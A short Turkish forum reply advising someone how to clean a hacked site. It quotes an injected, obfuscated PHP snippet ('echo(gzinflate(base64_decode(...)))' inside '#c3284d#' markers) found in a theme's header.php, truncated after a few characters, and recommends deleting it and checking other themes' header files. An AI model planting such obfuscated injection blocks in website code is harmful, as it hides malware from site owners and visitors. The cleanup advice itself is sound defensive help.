Aynen işte asıl sorun (virüs) orası.

#c3284d#
echo(gzinflate(base64_decode("dVr9c9vG0f5X5B8yoExI xn0DEU8d17E3O3tx7PP7mq2X/TNbrj8PO9
#/c3284d#


Bu kısmı tamamen silip tekrar at ftp.ye. Muhtemelen themes klasörünün içindeki diğer tema dosyalarının header.php.lerinde de vardır benzer kodlar. Onları da temizlersen sıkıntı kalmaz :)